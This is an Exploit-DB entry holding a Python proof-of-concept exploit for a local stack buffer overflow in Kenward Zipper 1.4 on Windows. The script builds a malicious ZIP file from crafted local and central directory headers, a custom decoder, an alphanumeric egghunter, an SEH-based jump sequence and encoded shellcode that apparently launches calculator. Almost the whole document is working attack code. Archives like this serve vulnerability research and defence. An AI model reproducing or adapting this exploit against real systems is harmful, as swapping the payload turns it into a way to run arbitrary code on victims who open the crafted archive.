Exploit-DB #11834
Description: Kenward Zipper 1.4 - Local Stack Buffer Overflow
Type: local
Platform: windows
Date: 2010-03-22
Author: mr_me

Exploit:
#!/usr/bin/python
# #################################################################################################
# Exploit Title : Kenward zipper v1.4 0day Stack Buffer Overflow PoC exploit
# Date          : 23/3/2010
# Bug found by  : corelanc0d3r (http://www.corelan.be:8800/)
# Author        : mr_me (http://net-ninja.net/)
# Software Link : http://www.trans4mind.com/personal_development/zipper/
# Version       : 1.4
# OS            : Windows
# Tested on     : XP SP3 En
# Greetz to     : Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
# #################################################################################################
# http://www.abysssec.com/blog/2010/03/ken-ward-zipper-stack-bof-0day-a-not-so-typical-seh-exploit/
print "|------------------------------------------------------------------|"
print "|                         __               __                      |"
print "|   _________  ________  / /___ _____     / /____  ____ _____ ___  |"
print "|  / ___/ __ \/ ___/ _ \/ / __ `/ __ \   / __/ _ \/ __ `/ __ `__ \ |"
print "| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |"
print "| \___/\____/_/   \___/_/\__,_/_/ /_/   \__/\___/\__,_/_/ /_/ /_/  |"
print "|                                                                  |"
print "|                                       http://www.corelan.be:8800 |"
print "|                                              security@corelan.be |"
print "|                                                                  |"
print "|-------------------------------------------------[ EIP Hunters ]--|"
print "~~> Kenward zipper v1.4 0day Stack Buffer Overflow PoC exploit <~~"

ldf_header = ("\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00")

#central directory header
cdf_header = ("\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00\x00\x00\x00\x01\x00\x24\x00\x00"
"\x00\x00\x00\x00\x00")

# end of central directory header
eofcdf_header = ("\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"
"\x12\x10\x00\x00\x02\x10\x00\x00\x00\x00")

# custom decoder
decoder = ("\x25\x4A\x4D\x4E\x55"   
"\x25\x35\x32\x31\x2A\x2d\x55\x55"
"\x55\x5f\x2d\x56\x55\x56\x5f\x2d"
"\x55\x55\x55\x5e\x50\x25\x4A\x4D"
"\x4E\x55\x25\x35\x32\x31\x2A\x2d"
"\x2b\x5b\x39\x54\x2d\x2a\x5b\x39"
"\x54\x2d\x2a\x5f\x39\x55\x50")

# ascii egghunter
egghunter= ("JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIQvK1"
"9ZKO6orbv2bJgr2xZmtnulfePZPthoOHbwFPtpbtLKkJLo1eJJloPuKW9okWA");

# shellcode
calc = ("\xd9\xf7\xd9\x74\x24\xf4\x5b\x53\x59\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b"
"\x4c\x4a\x48\x51\x54\x45\x50\x43\x30\x45\x50\x4c\x4b\x51\x55"
"\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x43\x31\x4a\x4f\x4c"
"\x4b\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a\x4b"
"\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50\x31\x49"
"\x50\x4a\x39\x4e\x4c\x4b\x34\x49\x50\x42\x54\x44\x47\x49\x51"
"\x49\x5a\x44\x4d\x45\x51\x49\x52\x4a\x4b\x4b\x44\x47\x4b\x50"
"\x54\x47\x54\x45\x54\x44\x35\x4d\x35\x4c\x4b\x51\x4f\x51\x34"
"\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51"
"\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x43\x31"
"\x4a\x4b\x4c\x49\x51\x4c\x46\x44\x43\x34\x48\x43\x51\x4f\x50"
"\x31\x4a\x56\x43\x50\x50\x56\x42\x44\x4c\x4b\x50\x46\x50\x30"
"\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c"
"\x4b\x42\x48\x45\x58\x4b\x39\x4a\x58\x4b\x33\x49\x50\x42\x4a"
"\x50\x50\x42\x48\x4c\x30\x4c\x4a\x44\x44\x51\x4f\x45\x38\x4a"
"\x38\x4b\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43"
"\x45\x31\x42\x4c\x43\x53\x46\x4e\x43\x55\x43\x48\x45\x35\x45"
"\x50\x41\x41");

# chasing the stack....
align = "\x61" * 67 + "\x58\x58\x73\xf9"

# ;)
name = "\x6D\x72\x5F\x6D\x65\x73\x5F\x70\x61\x73\x73\x77\x6F"
"\x72\x64\x5F\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E"

print "[+] Building attack string..."

# my final attack string
exploit = name
exploit += "\x43" * 266
exploit += egghunter
exploit += "\x43" * (878-len(exploit))
exploit += "\x54\x5a"
exploit += decoder
exploit += "\x73\xf9"
exploit += "\x44" * (67-len(decoder))
exploit += "\x73\xf9"
exploit += align
exploit += "\x42" * (1022-len(exploit))
exploit += "\x73\xf9\x41\x41"
exploit += "\x6d\x26\x44\x00"
exploit += "\x57\x30\x30\x54"
exploit += "\x57\x30\x30\x54"
# when the ninja strikes the samurai, the emperor wore no clothes
exploit += calc
exploit += "\x42" * (4064-len(exploit))
exploit += "\x2e\x74\x78\x74"

print "[+] Writing payload to cst-kenzip.zip"
# write the payload
mefile = open('cst-kenzip.zip','w');
mefile.write(ldf_header + exploit + cdf_header + exploit + eofcdf_header);
mefile.close()
print "[+] Exploit file created!!"